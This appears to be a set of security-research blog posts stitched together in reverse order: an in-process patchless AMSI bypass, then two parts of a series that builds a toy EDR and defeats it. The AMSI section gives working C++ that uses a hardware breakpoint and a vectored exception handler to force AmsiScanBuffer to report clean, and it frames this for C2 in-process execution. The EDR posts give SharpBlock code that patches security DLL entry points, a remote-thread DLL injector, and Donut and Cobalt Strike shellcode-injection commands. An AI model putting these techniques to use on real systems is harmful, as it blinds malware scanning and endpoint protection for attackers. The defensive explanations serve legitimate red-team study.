In-Process Patchless AMSI Bypass

Some of you may remember my patchless AMSI bypass article and how it was used inside SharpBlock to bypass AMSI on the child process that SharpBlock spawns. This is all well a good when up against client environments that are not too sensitive to the fork and run post exploitation model of operating. What about those more difficult environments where in-process execution is a must?

SharpBlock leverages the power of a debugger to be able to set breakpoints at various points of interest so that registers and arguments can be manipulated dynamically at runtime once the breakpoint is hit. Since our uber C2 process will not be running under the direction of a SharpBlock debugger, how can we use the same technique without leveraging a debugger as the parent process?

Well the answer to this is exceptions. Like a divide by zero exception or an access violation exception, breakpoints are also a form of exception. When a debugger is attached to a process, all exceptions are essentially reported to the debugger so it can have the opportunity to deal with the exception and continue execution of the program. Applications can also handle exceptions thrown internally too, via a system called structured exception handling (SEH). You might see this more commonly with code similar to this.

try{
    FunctionThatCausesDivideByZero();
}catch(DivideByZeroException e){
  
}    

In this scenario once the function raises the exception, the stack is unwound and execution continues from the catch block. For our purposes, high level exception handlers like this are no good since the call stack is unwound without completing the original intended code. Enter vectored exception handling.

Vectored exception handling is an extension to SEH which allows applications to register a chain of exception handlers for when an exception occurs within the program. The AddVectoredExceptionHandler Windows API call be used for this purpose. The good thing with a vectored exception handler is that the thread that raised the exception and it’s corresponding context can be manipulated at the precise point the exception occurred. Execution can then be instructed to continue where it left off (or not, depending on what updates where applied to the thread context). So what exactly is a thread context? A thread context is a snapshot of all the register values at the time the context was captured. This includes the current instruction pointer for the thread, the value of the stack register and values of the general purpose registers.

When dealing with an AMSI bypass, the idea will be to register a vectored exception handler then set a breakpoint on a function within amsi.dll. When the function within amsi.dll is called, an exception will be raised for our breakpoint and our exception handler function will be called. The handler will then look to manipulate the thread context in a way that indicates the buffer being scanned is clean and execution will continue. Since SharpBlock intercepts the target from the very beginning of the process we were able to target the AmsiInitalize function. A valid AMSI context is created when invoking this function ready for calling other AMSI related functions at a later time. SharpBlock took care of making sure this function would always fail through thread breakpoints and thread context manipulation. For our in-process bypass we don’t have the luxury of using this function since there are no guarantees that a valid AMSI context has not been created prior to our bypass applied. Therefore we will target the tried and tested AmsiScanBuffer function.

HANDLE setupAMSIBypass(){

    CONTEXT threadCtx;
    memset(&threadCtx, 0, sizeof(threadCtx));
    threadCtx.ContextFlags = CONTEXT_ALL;

    //Load amsi.dll if it hasn't be loaded alreay.
    if(g_amsiScanBufferPtr == nullptr){
        HMODULE amsi = GetModuleHandleA("amsi.dll");

        if(amsi == nullptr){
            amsi = LoadLibraryA("amsi.dll");
        }

        if(amsi != nullptr){
            g_amsiScanBufferPtr = (PVOID)GetProcAddress(amsi, "AmsiScanBuffer");
        }else{
            return nullptr;
        }

        if(g_amsiScanBufferPtr == nullptr)
            return nullptr;
    }

    //add our vectored exception handle
    HANDLE hExHandler = AddVectoredExceptionHandler(1, exceptionHandler);

    //Set a hardware breakpoint on AmsiScanBuffer function.
    //-2 is simply a meta handle for current thread.
    if(GetThreadContext((HANDLE)-2, &threadCtx)){
        enableBreakpoint(threadCtx, g_amsiScanBufferPtr, 0);
        SetThreadContext((HANDLE)-2, &threadCtx);
    }

    return hExHandler;
}

The code above will load amsi.dll if it has not be loaded by the process already, then add our vectored exception handler using the exceptionHandler function as the method to call when an exception occurs. The last step is to set a breakpoint on the AmsiScanBuffer function address. As mentioned earlier, we are leveraging hardware breakpoints. Software breakpoints would involve patching and int 3 instruction (0xCC) which sort of negates the whole patchless model we are trying to achieve. The drawback to hardware breakpoints is that they need to be applied to each thread within the process if you want a process wide bypass. Setting it on a single thread when loading a .NET DLL from memory works just fine though, since the AMSI scan is performed within the same thread loading the .NET PE.

OK, now that we have our exception handler in place, what does the handler function itself look like.

LONG WINAPI exceptionHandler(PEXCEPTION_POINTERS exceptions){

    if(exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && exceptions->ExceptionRecord->ExceptionAddress == g_amsiScanBufferPtr){

	//Get the return address by reading the value currently stored at the stack pointer 
        ULONG_PTR returnAddress = getReturnAddress(exceptions->ContextRecord);
        
	//Get the address of the 6th argument, which is an int* and set it to a clean result
		int* scanResult = (int*)getArg(exceptions->ContextRecord, 5);
        *scanResult = AMSI_RESULT_CLEAN;

	//update the current instruction pointer to the caller of AmsiScanBuffer 
        setIP(exceptions->ContextRecord, returnAddress);
		
	//We need to adjust the stack pointer accordinly too so that we simulate a ret instruction
        adjustStackPointer(exceptions->ContextRecord, sizeof(PVOID));
		
	//Set the eax/rax register to 0 (S_OK) indicatring to the caller that AmsiScanBuffer finished successfully 
        setResult(exceptions->ContextRecord, S_OK);

	//Clear the hardware breakpoint, since we are now done with it
        clearHardwareBreakpoint(exceptions->ContextRecord, 0);

        return EXCEPTION_CONTINUE_EXECUTION;

    }else{
        return EXCEPTION_CONTINUE_SEARCH;
    }
}

What the exception handler does is first check that the exception that occurred is EXCEPTION_SINGLE_STEP. This is the exception code for a hardware breakpoint. We also check that the exception occurred at the AmsiScanBuffer address. If neither of those checks are true we return EXCEPTION_CONTINUE_SEARCH and allow the the program to deal with the exception as it usually would. If we are dealing with our AmsiScanBuffer exception breakpoint, then we look at manipulating the result of AmsiScanBuffer.

HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);

I wont delve into too much detail on the function since there are a ton of articles out there already on AmsiScanBuffer for the bypasses that deal with patching the function. For our purposes we are interested in obtaining the address of the 6th argument so we can update the result and we are interested in the return value. Leveraging the thread context state when the exception occurred, we read and update the result argument, we set the result register to success, adjust the stack pointer to it’s position prior to the AmsiScanBuffer call, then finally adjust the instruction pointer to the expected location after AmsiScanBuffer returned. The exception handler returns EXCEPTION_CONTINUE_EXECUTION to indicate that we have handled the exception. The key thing here is that under the hood, Windows will take the thread context that we have updated and continue execution based on the updates made, essentially bypassing the call the AmsiScanBuffer call, but not before we have update the relevant values to indicate a clean result.

I have uploaded a Gist to GitHub for those interested in utilising something similar in their own projects, but soon the latest BOF.NET will be released that contains the patchless AMSI bypass.

Lets Create An EDR... And Bypass It!

Lets Create An EDR… And Bypass It! Part 2

In part one of this series we created a basic active protection EDR that terminated any program that modified memory for RWX. This was accomplished by hooking the VirtualProtect API and monitoring for the RWX memory protection flags. Check out part 1 of this series for a more detailed description on how this was done.

In part 2 I’m going to cover some bypass methods that I have seen others document and then demonstrate another method along with accompanying code.

OK, so with the introduction out the way, what methods are currently in use and the pros and cons of each bypass.

Blending in

The simplest of the methods doesn’t involve any magic at all and is all about blending in. The EDR hooks remain in place but don’t alert on any suspicious activity due the implementation of the malware. A good example of bypassing our EDR from part 1 would be to ensure that you never change or allocate memory for RWX. If you need to allocate new code or update existing code use RW mode first, then change to RX once the update is complete. If the code has no option to behave in suspicious ways, it’s time to look at bypass methods.

Unhooking

Unhooking the hooked API calls is another option. This involves reversing the operation that the EDR’s implement when patching the hooked API’s. Generally this involves loading a clean copy of the hooked DLL’s from disk and overwriting the hooked functions code. Typically this is usually only 5 bytes per hooked function. There are a few examples of how this can be done, but one such example can be found on the ired.team website. Unhooking could potentially be detected by EDR’s during this process.

Direct syscall instructions

By far the most effective solution is direct syscall instructions. This is where the malware does not make calls to the API’s themselves but implements the same stub code that the lowest level API calls implement prior to transferring to kernel mode. Since no API calls are made prior to hitting kernel code, the EDR is blind to these types of calls. This is due to the fact that generally all EDR’s implement the active protection in-process within userland code, which inherently is their weakness.

Direct syscall bypass comes at a price though. It’s by far the hardest to get right and the most verbose in code terms. Since direct syscalls are utilising the lowest level of API’s there is a ton of boilerplate needed for some functions to be called correctly. Let’s take the higher level CreateProcess API. If you wanted to create a process using syscalls only, you probably need to implement somewhere in the region of 20-30 syscall implementations. Take a look at ReactOS’s implementation of CreateProcessInternal if you don’t believe me.

Other complications that come from using direct syscalls is 32bit processes running on 64bit. 32bit programs actually switch to 64bit prior to making the syscall and then back again when returning from kernel land. Syscall indexes can also change between versions of Windows. Syscalls are implemented using a table within the kernel with the index used to reference a particular syscall. This index can change, so again, something that needs to be considered.

I have seen some excellent work in this area recently that makes the process easier. Here are some great examples

Microsoft Signed DLL Process Mitigation Policy

Another method of bypassing EDR’s can be achieved by enabling the Microsoft Signed DLL Process Mitigation Policy. Wow, that’s a mouthful. The policy is designed to prevent any DLL that is not signed by Microsoft from loading into any process where the policy is enabled. This prevents EDR’s that have not been signed or cross-signed by Microsoft from loading into the process.

ired.team have covered this method on their blog post and infact is the same solution implemented by Cobalt Strike’s blockdlls command. The policy can be enabled in-process, but it does not prevent DLL’s that have not been loaded already. This generally means it’s only effective on child processes created by your malare. It’s a simple solution to implement but all bets are off if the EDR’s active protection DLL is cross-signed by Microsoft or if Microsoft themselves implement active protection EDR within the likes of Windows Defender ATP. The policy will also prevent the malware from loading other non Microsoft DLL’s that it may need to function.

SharpBlock

Now that we have covered many of the EDR bypass solutions in use today, I’d like introduce SharpBlock. It’s just another method that I thought could be used for bypassing EDR’s that I don’t think I’ve seen used before (please let me know if you do find something).

SharpBlock can be used to load a child process and prevent any DLL from hooking into the child process. Since it specifically targets a DLL from hooking, it will still allow other DLL’s from loading into the process.

How does it work?

When SharpBlock spawns the requested child process, it uses the Windows Debug API to listen for debug events during the lifecycle of the child process. When a process is being debugged, the parent debugger process will receive these events, but the child process will be paused during this time. The fact the child process is paused during these events is a key element to why this method works. So what events are fired when debugging a process.

CREATE_PROCESS_DEBUG_EVENTFired on initial process creation, incuding child processes.
CREATE_THREAD_DEBUG_EVENTFired when a new thread is created.
EXCEPTION_DEBUG_EVENTFired when an exception occurs.
EXIT_PROCESS_DEBUG_EVENTA process has exited, including a child process.
EXIT_THREAD_DEBUG_EVENTA thread has exited
LOAD_DLL_DEBUG_EVENTA DLL has loaded within a process or one of it’s children.
OUTPUT_DEBUG_STRING_EVENTDebug strings written using the OutputDebugString API
RIP_EVENTRIP event?
UNLOAD_DLL_DEBUG_EVENTA DLL has unloaded within the debugged process or it’s children.
Debug Events

As I’m sure you have guessed by now, the particular event we are interested in is LOAD_DLL_DEBUG_EVENT. When a debugged process or one of it’s children load’s a DLL, we want to know about it.

Once we receive the event and determine it’s a DLL we would like to block, then how do we actually block it’s behavior? Well lets revisit our DLL entry point from our uber cool EDR, SylantStrike.

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: {
        //We are not interested in callbacks when a thread is created
        DisableThreadLibraryCalls(hModule);

        //We need to create a thread when initialising our hooks since
        //DllMain is prone to lockups if executing code inline.
        HANDLE hThread = CreateThread(nullptr, 0, InitHooksThread, nullptr, 0, nullptr);
        if (hThread != nullptr) {
            CloseHandle(hThread);
        }
        break;
    }
    case DLL_PROCESS_DETACH:

        break;
    }
    return TRUE;
}

What if we change the entry points behavior to the equivalent code?

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    return TRUE;
}

If we patched the code at runtime to essentially implement this behavior, the InitHooksThread function is never called, and ergo the hooks are never put in place. We can accomplish this with the 0xC3 opcode, which translates to the x86/x64 ret instruction. If we patch the entry point function with 0xC3 at the beginning, we should get the desired effect. Before we can patch the entry point though, we need to figure out where that is.

            PE.IMAGE_DOS_HEADER dosHeader = (PE.IMAGE_DOS_HEADER)Marshal.PtrToStructure(mem, typeof(PE.IMAGE_DOS_HEADER));
            PE.IMAGE_FILE_HEADER fileHeader = (PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure( new IntPtr(mem.ToInt64() + dosHeader.e_lfanew) , typeof(PE.IMAGE_FILE_HEADER));

            UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
            IntPtr entryPoint;
            if ( (fileHeader.Characteristics & IMAGE_FILE_32BIT_MACHINE) == IMAGE_FILE_32BIT_MACHINE) {
                PE.IMAGE_OPTIONAL_HEADER32 optionalHeader = (PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure
                    (new IntPtr(mem.ToInt64() + dosHeader.e_lfanew + Marshal.SizeOf(typeof(PE.IMAGE_FILE_HEADER))), typeof(PE.IMAGE_OPTIONAL_HEADER32));

                entryPoint = new IntPtr(optionalHeader.AddressOfEntryPoint + imageBase.ToInt32());

            } else {
                PE.IMAGE_OPTIONAL_HEADER64 optionalHeader = (PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure
                    (new IntPtr(mem.ToInt64() + dosHeader.e_lfanew + Marshal.SizeOf(typeof(PE.IMAGE_FILE_HEADER))), typeof(PE.IMAGE_OPTIONAL_HEADER64));

                entryPoint = new IntPtr(optionalHeader.AddressOfEntryPoint + imageBase.ToInt64());                
            }

The code above analyses the PE header of the DLL that is in the process of being loaded to find out where the DLL entry point resides. I should note that the DLL entry point does not actually point to DllMain, but usually the C runtime initialiser that will eventually call DllMain. But for all intents and purposes we’ll call it DllMain.

Once we have calculated the final address of the entry point, we can then use the WriteProcessMemory API call to write over the entry point with the ret instruction.

                Console.WriteLine("[+] Patching DLL Entry Point at 0x{0:x}", entryPoint.ToInt64());

                if (PInvokes.WriteProcessMemory(hProcess, entryPoint, retIns, 1, out bytesWritten)) {
                    Console.WriteLine("[+] Successfully patched DLL Entry Point");
                } else {
                    Console.WriteLine("[!] Failed patched DLL Entry Point");
                }

Finally, we can trigger the process to continue on it’s merry path without the EDR hooks being applied.

PInvokes.ContinueDebugEvent((uint)DebugEvent.dwProcessId,                               
                        (uint)DebugEvent.dwThreadId,
                        dwContinueDebugEvent);

Demo

SharpBlock by @_EthicalChaos_
  DLL Blocking app for child processes

  -e, --exe=VALUE            Program to execute (default cmd.exe)
  -a, --args=VALUE           Arguments for program (default null)
  -n, --name=VALUE           Name of DLL to block
  -c, --copyright=VALUE      Copyright string to block
  -p, --product=VALUE        Product string to block
  -d, --description=VALUE    Description string to block
  -h, --help                 Display this help

SharpBlock will default to launching cmd without any arguments, but this can be overridden with the -e and -a arguments respectively. The rest of the arguments can be specified multiple times to block any DLL from it’s name on disk, the copyright value within the version info, the product value from the version info or the description value from the version info. A DLL’s version info can be found in the Details tab when viewing the file’s properties from explorer.

Going back to our example EDR from part one, this time we load notepad.exe using SharpBlock

SharpBlock.exe -e c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike"

The SylantStrikeInject process will then detect the launch of notepad and attempt to load the active protection DLL

SylantStrikeInject.exe -p notepad.exe -d C:\tools\SylantStrike.dll
Waiting for process events
Listening for the following processes: notepad.exe 

+ Injecting process notepad.exe(6784) with DLL C:\tools\SylantStrike.dll

But this time, SharpBlock detects the loaded DLL from the description field of SylantStrike.dll’s version info and patches the entry point

SharpBlock by @_EthicalChaos_
DLL Blocking app for child processes

[+] Launched process c:\windows\system32\notepad.exe with PID 6784
[+] Blocked DLL C:\tools\SylantStrike.dll
[+] Patching DLL Entry Point at 0x7ffd89932c74
[+] Successfully patched DLL Entry Point

Attempting to injecting our shellcode from part 1 using Cobalt Strike results in the successful launch of calc and cmd and is not blocked by SylantStrike’s active DLL protection.

shinject 6784 x64 C:\Tools\SylantStrike\loader.bin

If you are interested in giving it a go, head over to the SharpBlock project on GitHub

Acknowledgements

Lets Create An EDR... And Bypass It!

Lets Create An EDR… And Bypass It! Part 1

I was initially intending on writing a blog post on bypassing EDR solutions using a method I have not seen before. But after some thought of how I would demonstrate this, I decided on actually creating a basic EDR first. Hopefully this will share some insights on how they work in addition to methods of bypass.

There are a range of methods that Anti Virus and EDR solutions use to detect malicious programs or behaviors.

Signature Detection

As the name implies, signature detection is the process of analyzing the signatures of files for known malware previously seen before. This can be something as simple as comparing a SHA1 hash of a file with a known database of malware. Generally signature detection is implemented at kernel level using file system filters. For example, Microsoft have a specific technology built into Windows for this very purpose. Files are scanned during the opening phase and if the file is deemed malicious, the filter driver will block access to the file from the calling application. Signature detection is usually the first line of defense employed by AV’s and EDR’s.

Sandboxing

If signature detection fails to stop the latest and greatest malware from running, the EDR’s next line of defence is sandboxing. Prior to allowing any executable from running, EDR’s will run the potentially malicious program inside a virtual machine. Not the kind we run our own virtual machines inside, but one designed to analyze program flow and look for known malware through dynamic analysis. Some vendors claim to have special AI engines that analyse program flow etc…, so how these are implemented are somewhat of a black box. I personally believe they are done through control flow graph (CFG) analysis. The advantage of CFG analysis means the re-compilation of binaries or other small changes will still produce the same CFG regardless of the resulting executable being different. Whilst the EDR sandbox is a decent line of defence, it can succumb to various bypasses.

The first is time. The virtual machine will only spend a finite amount of time analyzing executables. So if there is enough complexity in the program being virtualized, eventually the sandbox will give up if it hasn’t found the binary to be malicious in nature in that time.

The second bypass method that is commonly used to thwart the sandbox is breaking up control flow to prevent further analysis. As mentioned earlier, the sandbox is essentially a virtual machine, but there will be certain OS API calls that it cannot really virtualize successfully. When this occurs, the sandbox will not be able to carry on analyzing program flow and generally give up and let the program continue on it’s merry path.

Active Protection

The next stage of protection employed by these solutions is something I call active protection. Different products market this under different names. It’s generally implemented through loading a DLL into each process and implementing API function hooks (more on this later) to analyse and monitor for suspicious behaviors that are not generally found when running benign programs.

A simplified version of active protection is what I will be looking to implement as part 1 of this series. In part 2 I’ll cover bypassing this method using a technique I’ve not seen used before, but with the same ultimate goal. Making the malware API calls invisible to the active protection.

Event Tracing

I’d be remiss if I did not mention event tracing. All the methods above are proactive forms of protection, designed to stop malware from executing. Event tracing is the reactive component to an EDR’s arsenal. When all proactive protections have failed, event tracing is used to analyze a series of events that have occurred and tie these to behaviors found when executing malware. Some of you maybe familiar with sysmon, and essentially EDR vendors implement their own implementation of sysmon to achieve the same goals.

So with the various methods covered, lets dive in.

SylantStrike

Welcome to SylantStrike, the most sophisticated open source Windows EDR solution available on the market…. hmm, well, not quite.

OK, so as mentioned earlier in the article, the area that we will be looking to implement in our super cool EDR solution is the active protection component. Generally this is implemented using function hooks. So what is a function hook? A function hook is essentially a method of changing the behavior of a pre-existing API by redirecting execution of the function to user controlled code.

Take a look at the jsfiddle below. We essentially replace the default window.alert function and add some custom behavior to it. The concept is no different to this.

It would be awesome if native API’s could be replaced as easy as the fiddle above, but at a native level it’s a little more complex. Hooking native API’s involve patching the first instruction of the API we are looking to intercept with a JMP instruction to our intercepted version of the API call. If you are interested in more technical details regarding native inline function hooks, head over to MalwareTech’s blog, he has a great post describing Inline Hooking.

Luckily for us there are an array of libraries already available that make the hooking processes a breeze. Check out the listing here on GitHub for some of the libraries available.

For SylantStrike I decided to go with MinHook. It supports both x86 and AMD64 architectures and is fairly minimal in terms of source files to include into our uber cool EDR solution.

Active Protection DLL

Now that we have decided on a hooking library, lets take a look at our basic DLL entry point for implementing our active protection DLL. The active protection is implemented as a DLL since it will eventually be loaded into all of the processes we are looking to protect.

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"

#include "minhook/include/MinHook.h"
#include "SylantStrike.h"

DWORD WINAPI InitHooksThread(LPVOID param) {

    //MinHook itself requires initialisation, lets do this
    //before we hook specific API calls.
    if (MH_Initialize() != MH_OK) {
        OutputDebugString(TEXT("Failed to initalize MinHook library\n"));
        return -1;
    }

    //Now that we have initialised MinHook, lets prepare to hook NtProtectVirtualMemory from ntdll.dll
    MH_STATUS status = MH_CreateHookApi(TEXT("ntdll"), "NtProtectVirtualMemory", NtProtectVirtualMemory, 
                                           reinterpret_cast<LPVOID*>(&pOriginalNtProtectVirtualMemory));  

    //Enable our hooks so they become active
    status = MH_EnableHook(MH_ALL_HOOKS);

    return status;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: {
        //We are not interested in callbacks when a thread is created
        DisableThreadLibraryCalls(hModule);

        //We need to create a thread when initialising our hooks since
        //DllMain is prone to lockups if executing code inline.
        HANDLE hThread = CreateThread(nullptr, 0, InitHooksThread, nullptr, 0, nullptr);
        if (hThread != nullptr) {
            CloseHandle(hThread);
        }
        break;
    }
    case DLL_PROCESS_DETACH:

        break;
    }
    return TRUE;
}

The DllMain function above is the entry point to our protection DLL. Whenever the DLL is loaded using the LoadLibrary API, the function is called automatically along with the DLL_PROCESS_ATTACH reason. The code then creates a separate thread to setup our hooked functions. Ideally we should do this inline and not within a separate thread, but there is very little that can executed inside DllMain without creating deadlocks, so we delegate to a thread instead.

The responsibility of the InitHooksThread function is to initialise the MinHook library itself, setting up each individual function we are interested in hooking, then finally enabling the hooks.

One of the many API’s that EDR solutions will hook is the NtProtectVirtualMemory API. This function enables an application to change the memory protection options for a specific range of memory. Memory can be marked as read only (RO), read write (RW), read execute (RX) or read/write execute (RWX). RWX is what our trusty EDR solution will be looking for. RWX is seldom required for generic application code, but malware will quite often request this mode of protection due to the nature of how malicious code functions. A typical example is AMSI bypass. AMSI bypasses usually involve patching the AmsiScanBuffer API at runtime to change its behaviour to always return a clean result. This will usually involve a call to NtProtectVirtualMemory to change the memory protection from RX to RWX for a short period of time whilst the patch is applied. Ergo, an update of a memory range’s protection flags to RWX is what we are going to implement within our EDR.

// SylantStrike.cpp : Hooked API implementations
//

#include "pch.h"
#include "framework.h"
#include "SylantStrike.h"

//Pointer to the trampoline function used to call the original API.
//This will be initialised by MinHook during initialisation.
pNtProtectVirtualMemory pOriginalNtProtectVirtualMemory = nullptr;

DWORD NTAPI NtProtectVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PULONG NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection) {

	//Check to see if the calling application is requesting RWX
	if ((NewAccessProtection & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE) {
		//It was, so notify the user of naughty behaviour and terminate the running program
		MessageBox(nullptr, TEXT("You've been a naughty little hax0r, terminating program"), TEXT("Hax0r Detected"), MB_OK);
		TerminateProcess(GetCurrentProcess(), 0xdead1337);
		//Unreachable code
		return 0;
	}

	//No it wasn't, so just call the original function as normal
	return pOriginalNtProtectVirtualMemory(ProcessHandle, BaseAddress, NumberOfBytesToProtect, NewAccessProtection, OldAccessProtection);
}

The hooked version of NtProtectVirtualMemory checks the NewAccessProtection flag to determine if the application is requesting the RWX protection level on the memory range. If RWX is requested then we simply alert the user to the suspicious activity and terminate the offending process. If RWX is not requested, the code simply calls the original NtProtectVirtualMemory API and returns the result.

And that is it, excluding third party code, in little more than 75 lines of code, we have implemented a very basic EDR solution that will terminate any program that tries to change the protection mode of any memory to RWX.

Injector

With the active protection DLL in place, we now need a way to have each process load the DLL on startup. SylantStrikeInject to the rescue, a C# program that will monitor and load our protection DLL into foreign processes. There are various ways EDR’s will do this. Many will chose the PsSetCreateProcessNotifyRoutine to monitor for process creation, but the drawback is that this API can only be used from within a driver, and since we are implementing a simple EDR, we don’t want to be going down that route. So instead we can use WMI to monitor for new process events.

       static void WaitForProcess()
        {
            try
            {
                var startWatch = new ManagementEventWatcher(new WqlEventQuery("SELECT * FROM Win32_ProcessStartTrace"));
                startWatch.EventArrived += new EventArrivedEventHandler(startWatch_EventArrived);
                startWatch.Start();
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine($"+ Listening for the following processes: {string.Join(" ", processList)}\n");
            }
            catch (Exception ex)
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine(ex);
            }
        }

When a new process is launched, the startWatch_EventArrived function will be called with details of the process that has started.

       static void startWatch_EventArrived(object sender, EventArrivedEventArgs e)
        {
            try
            {
                var proc = GetProcessInfo(e);
                if (processList.Contains(proc.ProcessName.ToLower()))
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine($" Injecting process {proc.ProcessName}({proc.PID}) with DLL {dllPath}");
                    BasicInject.Inject(proc.PID, dllPath);
                }
            }
            catch (Exception ex)
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine(ex);
            }
        }

We then check that the process that has just started is on our list of names to inject our protection DLL, afterall, we don’t want to inject everything for our demo EDR. If the process is on our list of processes to inject, the code calls BasicInject.Inject to handle the loading of the DLL into the foreign executable.

    public static int Inject(int pid, string dllName) {

        // geting the handle of the process - with required privileges
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid);

        // searching for the address of LoadLibraryA and storing it in a pointer
        IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

        // alocating some memory on the target process - enough to store the name of the dll
        // and storing its address in a pointer
        IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

        // writing the name of the dll there
        UIntPtr bytesWritten;
        WriteProcessMemory(procHandle, allocMemAddress, Encoding.ASCII.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);

        // creating a thread that will call LoadLibraryA with allocMemAddress as argument
        CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);

        return 0;
    }

The inject code allocates a block of memory to hold the path to our protection DLL and writes the full path into the remote process’s memory space. The code also determines where the address of the LoadLibraryA function resides in memory. Once these steps have been performed, a thread is created in the remote process using the address of the LoadLibrary API call, and the thread parameter is the address of where the active protection DLL path exists in memory. Once the thread is created, the active protection DLL will be loaded by the remote process.

And we are done, we have our active protection DLL and C# loader ready to rock.

Demo

So first things first is to start SylantStrikeInject to monitor for process creation and inject the protection DLL. Process monitoring using WMI relies on administrative permissions, so SylantStrikeInject should be launched from an elevated command prompt. For this demonstration we are only interested in protecting notepad and calc.

.\SylantStrikeInject.exe --process=notepad.exe --process=calc.exe --dll=c:\tools\SylantStrike\SylantStrike.dll
Waiting for process events
+ Listening for the following processes: notepad.exe calc.exe

 Injecting process notepad.exe(22808) with DLL c:\tools\SylantStrike\SylantStrike.dll

Launching notepad will trigger the injection of SylantStrike and will protect notepad from any code that attempts to adjust memory protection to RWX.

Confirmation DLL loaded using ProcessHacker’s Modules list on notepad.exe

To confirm our protection is active and working I’m going to use the awesome Donut tool from @TheRealWover. Donut can convert multiple types of EXE/DLL’s into position independant shellcode that can be injected into foreign processes.

 C:\Tools\donut\donut.exe -a 2 DemoCreateProcess.dll -c TestClass -m RunProcess -p "calc.exe"

  [ Donut shellcode generator v0.9.3
  [ Copyright (c) 2019 TheWover, Odzhan

  [ Instance type : Embedded
  [ Module file   : "DemoCreateProcess.dll"
  [ Entropy       : Random names + Encryption
  [ File type     : .NET DLL
  [ Class         : TestClass
  [ Method        : RunProcess
  [ Parameters    : calc.exe
  [ Target CPU    : amd64
  [ AMSI/WDLP     : continue
  [ Shellcode     : "loader.bin"

The command above uses Donut’s DemoCreateProcess library which will attempt to launch a process. This is then converted into shellcode and stored inside a file called loader.bin

Our next step is to load the generated shellcode into our notepad process that is actively protected by SylantStrike. There are loads of methods available to inject shellcode into a foreign process but for this demonstration I’m going to use CobaltStrike.

Using the shinject beacon command, we choose our notepad PID and path to the donut generated shellcode.

Once the shellcode is loaded into notepad and begins executing, the malicious little blighter is stopped in its tracks by SylantStrike’s protection.

If you are interested in having a go yourself, head over to the SylantStrike repo on GitHub.

Conclusion

In this example here I am only demonstrating one particular function hook and suspicious behavior. In reality there are numerous API hooks and suspicious behaviours a fully fledged EDR will look out for.

In part 2 I will cover a few methods on how our new EDR solution can be bypassed, so until then, thanks for reading.

Acknowledgements